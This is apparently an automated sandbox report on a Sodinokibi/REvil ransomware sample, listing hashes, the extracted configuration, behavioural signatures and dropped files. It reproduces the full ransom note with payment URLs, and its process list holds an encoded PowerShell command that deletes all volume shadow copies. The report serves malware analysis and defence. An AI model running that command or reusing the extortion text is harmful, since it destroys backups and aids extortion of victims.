Windows 7 deprecation

Windows 7 will be removed from tria.ge on 2025-03-31

Analysis

  • max time kernel
    141s
  • max time network
    148s
  • platform
    windows7_x64
  • resource
    win7-20240220-en
  • resource tags

    arch:x64arch:x86image:win7-20240220-enlocale:en-usos:windows7-x64system
  • submitted
    07/05/2024, 14:57

General

  • Target

    20defcd42cabf5da27a21dd342e58068_JaffaCakes118.exe

  • Size

    324KB

  • MD5

    20defcd42cabf5da27a21dd342e58068

  • SHA1

    408cfabc99c350ad28def5475cfff5dc2de02543

  • SHA256

    735ff072077023765e445b284f072946ffad2e36fa8aba9f1b8f93fef885352c

  • SHA512

    8a6a2f462b9e5ecccae13ecf176c8d2ec93e1c535f3541aa9a39151ea7874e730bdb627b422fbe2ba1c51c98c9c5a2b35da79433fbe9105038836ca33f31814d

  • SSDEEP

    6144:uhHmIZ1A3Lp5r8Xjv0PZNVhmN7r6PNkr1UT:iHdA3Lp5YzIH7mNyFqo

Malware Config

Extracted

Family

sodinokibi

Botnet

$2a$10$3aLOaggUASU5QrJ8Y1pYZeU93mMQzM6yVgD7yb83aT6O21pMW2lCu

Campaign

51

Decoy

woodleyacademy.org

bookspeopleplaces.com

despedidascostablanca.es

lapinvihreat.fi

drfoyle.com

carolinepenn.com

abuelos.com

groupe-frayssinet.fr

tecnojobsnet.com

deoudedorpskernnoordwijk.nl

siluet-decor.ru

smessier.com

calxplus.eu

julis-lsa.de

aminaboutique247.com

pier40forall.org

coding-machine.com

longislandelderlaw.com

expandet.dk

blogdecachorros.com

Attributes
  • net

    true

  • pid

    $2a$10$3aLOaggUASU5QrJ8Y1pYZeU93mMQzM6yVgD7yb83aT6O21pMW2lCu

  • prc

    mysql

  • ransom_oneliner

    All of your files are encrypted! Find {EXT}-readme.txt and follow instuctions

  • ransom_template

    ---=== Welcome. Again. ===--- [+] Whats Happen? [+] Your files are encrypted, and currently unavailable. You can check it: all files on you computer has expansion {EXT}. By the way, everything is possible to recover (restore), but you need to follow our instructions. Otherwise, you cant return your data (NEVER). [+] What guarantees? [+] Its just a business. We absolutely do not care about you and your deals, except getting benefits. If we do not do our work and liabilities - nobody will not cooperate with us. Its not in our interests. To check the ability of returning files, You should go to our website. There you can decrypt one file for free. That is our guarantee. If you will not cooperate with our service - for us, its does not matter. But you will lose your time and data, cause just we have the private key. In practise - time is much more valuable than money. [+] How to get access on website? [+] You have two ways: 1) [Recommended] Using a TOR browser! a) Download and install TOR browser from this site: https://torproject.org/ b) Open our website: http://aplebzu47wgazapdqks6vrcv6zcnjppkbxbr6wketf56nf6aq2nmyoyd.onion/{UID} 2) If TOR blocked in your country, try to use VPN! But you can use our secondary website. For this: a) Open your any browser (Chrome, Firefox, Opera, IE, Edge) b) Open our secondary website: http://decryptor.cc/{UID} Warning: secondary website can be blocked, thats why first variant much better and more available. When you open our website, put the following data in the input form: Key: {KEY} Extension name: {EXT} ----------------------------------------------------------------------------------------- !!! !!! !!! DONT try to change files by yourself, DONT use any third party software for restoring your data or antivirus solutions - its may entail damge of the private key and, as result, The Loss all data. !!! !!! !!! ONE MORE TIME: Its in your interests to get your files back. From our side, we (the best specialists) make everything for restoring, but please should not interfere. !!! !!! !!!

  • sub

    51

  • svc

    backup

    sql

    svc$

    mepocs

    vss

    memtas

    sophos

    veeam

Extracted

Path

C:\Users\js101gn-readme.txt

Family

sodinokibi

Ransom Note
---=== Welcome. Again. ===--- [+] Whats Happen? [+] Your files are encrypted, and currently unavailable. You can check it: all files on you computer has expansion js101gn. By the way, everything is possible to recover (restore), but you need to follow our instructions. Otherwise, you cant return your data (NEVER). [+] What guarantees? [+] Its just a business. We absolutely do not care about you and your deals, except getting benefits. If we do not do our work and liabilities - nobody will not cooperate with us. Its not in our interests. To check the ability of returning files, You should go to our website. There you can decrypt one file for free. That is our guarantee. If you will not cooperate with our service - for us, its does not matter. But you will lose your time and data, cause just we have the private key. In practise - time is much more valuable than money. [+] How to get access on website? [+] You have two ways: 1) [Recommended] Using a TOR browser! a) Download and install TOR browser from this site: https://torproject.org/ b) Open our website: http://aplebzu47wgazapdqks6vrcv6zcnjppkbxbr6wketf56nf6aq2nmyoyd.onion/19B91ADB6076413C 2) If TOR blocked in your country, try to use VPN! But you can use our secondary website. For this: a) Open your any browser (Chrome, Firefox, Opera, IE, Edge) b) Open our secondary website: http://decryptor.cc/19B91ADB6076413C Warning: secondary website can be blocked, thats why first variant much better and more available. When you open our website, put the following data in the input form: Key: 6WELyEAq+5UGpbolFch3WxN5uXPtxKBNR72iIqQU8XH5qDcB8hG2MQEp9C5SS4ig fBMuZ2IC1iny/xNSRflCPB/JMks+nad3i5ys7ryYnHogbMB5f+qPXxSPVjmw5sQV I+j2Q63fQ0UNR4gOGWbBgWzvTYNTDUD6ZdxhHe95VzcK/xD8ue1whghGPtmvbUlr C6lG8oywpWPCfbQKQg0SoBkgf1DW/YeV2mX26NXcgoFm+M7px0gZbJxcCzQRZ75i RjVSjBei8dxpmrWEeXEGIghmfTmEV/MPQa4cjU/jTaJgEwly17+5cBwPmVlRfsJP FXLsTIYDLPSRZOpE57frutI8PKvX/XzqkQj4MOUZt7CYk8L16Lzz3UyejSsqa2OQ i/upNcIZHf8s0kVjfBdxDJT8VfljatfMe4hJtruXqUkCytgMNgb6Pbi9uzXYUkQJ RvR2T4oO2pcR5OxlhevjoXWYwLTF0rn3js84x0WCRIemlMzj20LF0aRdZayrnxjY yqbArTlQ2P8wWSFeFn7iLntvP6Cj8r1q5Rsyw+aP3oIPJRlqTYQF23Ke4ofONC3v 7jmwMxvOPPAiReOIf+kBG03TUxfv/0AQnepk2cxS71RXRj25T+lklWbNg9gOOZ89 Z3QLzi+0RqMGF50n9k1fRM2qw9btzPeAR3BJXEtCfjDFkQhyFY+wqQ+/Qckd4XRE QgV0p8YofbWlj9wQofLrvu74cUvtHFYyDkSlOrZwinAi/yV0o26RwPZX1Mua6CHz ySF6NGAh3IlbxDGdSaQrVpNRv1m5g35edms/WOgdLWc/dCeRxl5VuhJu/o90K9IG Kr26bdGD73HXuXWHC+VyJy+Nrjs2CqdqV7DA8Pk+OqCx+rvWdjdIDKZd4ltrt/3z JYFrVzIv4ggakcYyjCX2KFYJ9v3oequAxSJ2oWSzCJIxtM8i1Dm2k3WvOfNmayUO 6fH49z7l5DzC7ukekeHg8YHJIGlY3+Op2w6fFWkxiNMbbcW/tnegLaOOzkMdECni La3hiC7s9Qq+RHJlT8ZPMZ9wvQfSq0CM0drWsBLbsKiWgqeq1z7mHtR+hxZD8rBu Aj+c/+lYWgmiJCm5WGBusQM6QhFe13BffHc4OXpV5GlUhlQ7Fl9jv5H8VO3LsRYS vZC1/1+NzF4tIAZDXbrmGcYZf0l2PmLJgHmiCE6UfNxFyb0xnEKdevfDWgSmtfIm Z1MP8J6a88hXlKJUf59WJwzdLnNAlyK53+lOOrx3+DwNpK7ArOnnNMhfGXWURgbc 93DU76b1TMtHxtmd0uxjDgCixB0p6O80K3sv4NLCV35fBHhFXQRMJk3kYW7Pn+DC C2nlOyNUASLxLR3FumU7KMd9OgeAsxDykzjR9jHY Extension name: js101gn ----------------------------------------------------------------------------------------- !!! !!! !!! DONT try to change files by yourself, DONT use any third party software for restoring your data or antivirus solutions - its may entail damge of the private key and, as result, The Loss all data. !!! !!! !!! ONE MORE TIME: Its in your interests to get your files back. From our side, we (the best specialists) make everything for restoring, but please should not interfere. !!! !!! !!!
URLs

http://aplebzu47wgazapdqks6vrcv6zcnjppkbxbr6wketf56nf6aq2nmyoyd.onion/19B91ADB6076413C

http://decryptor.cc/19B91ADB6076413C

Signatures

  • Sodin,Sodinokibi,REvil

    Ransomware with advanced anti-analysis and privilege escalation functionality.

  • Enumerates connected drives 3 TTPs 25 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Drops file in System32 directory 1 IoCs
  • Sets desktop wallpaper using registry 2 TTPs 1 IoCs
  • Drops file in Program Files directory 35 IoCs
  • Modifies system certificate store 2 TTPs 4 IoCs
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 6 IoCs
  • Suspicious use of WriteProcessMemory 4 IoCs
  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

Processes

  • C:\Users\Admin\AppData\Local\Temp\20defcd42cabf5da27a21dd342e58068_JaffaCakes118.exe
    "C:\Users\Admin\AppData\Local\Temp\20defcd42cabf5da27a21dd342e58068_JaffaCakes118.exe"
    1⤵
    • Enumerates connected drives
    • Drops file in System32 directory
    • Sets desktop wallpaper using registry
    • Drops file in Program Files directory
    • Modifies system certificate store
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:2172
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -e RwBlAHQALQBXAG0AaQBPAGIAagBlAGMAdAAgAFcAaQBuADMAMgBfAFMAaABhAGQAbwB3AGMAbwBwAHkAIAB8ACAARgBvAHIARQBhAGMAaAAtAE8AYgBqAGUAYwB0ACAAewAkAF8ALgBEAGUAbABlAHQAZQAoACkAOwB9AA==
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2628
  • C:\Windows\system32\wbem\unsecapp.exe
    C:\Windows\system32\wbem\unsecapp.exe -Embedding
    1⤵
      PID:2432
    • C:\Windows\system32\vssvc.exe
      C:\Windows\system32\vssvc.exe
      1⤵
      • Suspicious use of AdjustPrivilegeToken
      PID:2472

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\94308059B57B3142E455B38A6EB92015

      Filesize

      68KB

      MD5

      29f65ba8e88c063813cc50a4ea544e93

      SHA1

      05a7040d5c127e68c25d81cc51271ffb8bef3568

      SHA256

      1ed81fa8dfb6999a9fedc6e779138ffd99568992e22d300acd181a6d2c8de184

      SHA512

      e29b2e92c496245bed3372578074407e8ef8882906ce10c35b3c8deebfefe01b5fd7f3030acaa693e175f4b7aca6cd7d8d10ae1c731b09c5fa19035e005de3aa

    • C:\Users\Admin\AppData\Local\Temp\Cab7199.tmp

      Filesize

      65KB

      MD5

      ac05d27423a85adc1622c714f2cb6184

      SHA1

      b0fe2b1abddb97837ea0195be70ab2ff14d43198

      SHA256

      c6456e12e5e53287a547af4103e0397cb9697e466cf75844312dc296d43d144d

      SHA512

      6d0ef9050e41fbae680e0e59dd0f90b6ac7fea5579ef5708b69d5da33a0ece7e8b16574b58b17b64a34cc34a4ffc22b4a62c1ece61f36c4a11a0665e0536b90d

    • C:\Users\Admin\AppData\Local\Temp\Tar72AA.tmp

      Filesize

      177KB

      MD5

      435a9ac180383f9fa094131b173a2f7b

      SHA1

      76944ea657a9db94f9a4bef38f88c46ed4166983

      SHA256

      67dc37ed50b8e63272b49a254a6039ee225974f1d767bb83eb1fd80e759a7c34

      SHA512

      1a6b277611959720a9c71114957620517ad94541302f164eb872bd322292a952409bafb8bc2ac793b16ad5f25d83f8594ccff2b7834e3c2b2b941e6fc84c009a

    • C:\Users\js101gn-readme.txt

      Filesize

      6KB

      MD5

      7f0902e6f62912f825f4dc0b0ab7aa5e

      SHA1

      23e2ad7d651be1f5bd524de81de873a4007ac39a

      SHA256

      e99504de976c2e22271dbca167b6e32269302ab2bd72ef92e92e8eade98d3935

      SHA512

      bd71c5c0b3b0b4cb56935b0b30c68cd5ee1648241c05b4c730878624098395ebbae2396b0835c9b875cfde805aa36936605c777e371410529e61388f49578e64

    • C:\Windows\System32\catroot2\dberr.txt

      Filesize

      194KB

      MD5

      210ac66760210aa873c815e6fe582a9d

      SHA1

      4b725d05c61a23f24f874b19fdcb87f67ffc1b82

      SHA256

      0f401f1d2e11f55b4eb37abf693602c78605910bcd40d064a6fe7f5addc744a0

      SHA512

      96b072960ed1597711641b49b3bced1c6bf3733386abace310017c751b4bae5b0c4b63e1e66a19e78b125c53182916b5a65a35a0ff9a69e8b30c2b69bbdfeb17

    • memory/2172-2-0x00000000001B0000-0x00000000001D0000-memory.dmp

      Filesize

      128KB

    • memory/2172-12-0x00000000001B0000-0x00000000001D0000-memory.dmp

      Filesize

      128KB

    • memory/2172-6-0x00000000001B0000-0x00000000001D0000-memory.dmp

      Filesize

      128KB

    • memory/2172-32-0x00000000001B0000-0x00000000001D0000-memory.dmp

      Filesize

      128KB

    • memory/2172-18-0x00000000001B0000-0x00000000001D0000-memory.dmp

      Filesize

      128KB

    • memory/2172-14-0x00000000001B0000-0x00000000001D0000-memory.dmp

      Filesize

      128KB

    • memory/2172-16-0x00000000001B0000-0x00000000001D0000-memory.dmp

      Filesize

      128KB

    • memory/2172-9-0x00000000001B0000-0x00000000001D0000-memory.dmp

      Filesize

      128KB

    • memory/2172-10-0x00000000001B0000-0x00000000001D0000-memory.dmp

      Filesize

      128KB

    • memory/2172-4-0x00000000001B0000-0x00000000001D0000-memory.dmp

      Filesize

      128KB

    • memory/2172-567-0x00000000001B0000-0x00000000001D0000-memory.dmp

      Filesize

      128KB

    • memory/2172-167-0x0000000000400000-0x0000000000454000-memory.dmp

      Filesize

      336KB

    • memory/2172-1-0x00000000001B0000-0x00000000001D0000-memory.dmp

      Filesize

      128KB

    • memory/2628-25-0x0000000001EF0000-0x0000000001EF8000-memory.dmp

      Filesize

      32KB

    • memory/2628-31-0x000007FEF53D0000-0x000007FEF5D6D000-memory.dmp

      Filesize

      9.6MB

    • memory/2628-30-0x000007FEF53D0000-0x000007FEF5D6D000-memory.dmp

      Filesize

      9.6MB

    • memory/2628-28-0x000007FEF53D0000-0x000007FEF5D6D000-memory.dmp

      Filesize

      9.6MB

    • memory/2628-29-0x000007FEF53D0000-0x000007FEF5D6D000-memory.dmp

      Filesize

      9.6MB

    • memory/2628-27-0x000007FEF53D0000-0x000007FEF5D6D000-memory.dmp

      Filesize

      9.6MB

    • memory/2628-26-0x000007FEF53D0000-0x000007FEF5D6D000-memory.dmp

      Filesize

      9.6MB

    • memory/2628-24-0x000000001B710000-0x000000001B9F2000-memory.dmp

      Filesize

      2.9MB

    • memory/2628-23-0x000007FEF568E000-0x000007FEF568F000-memory.dmp

      Filesize

      4KB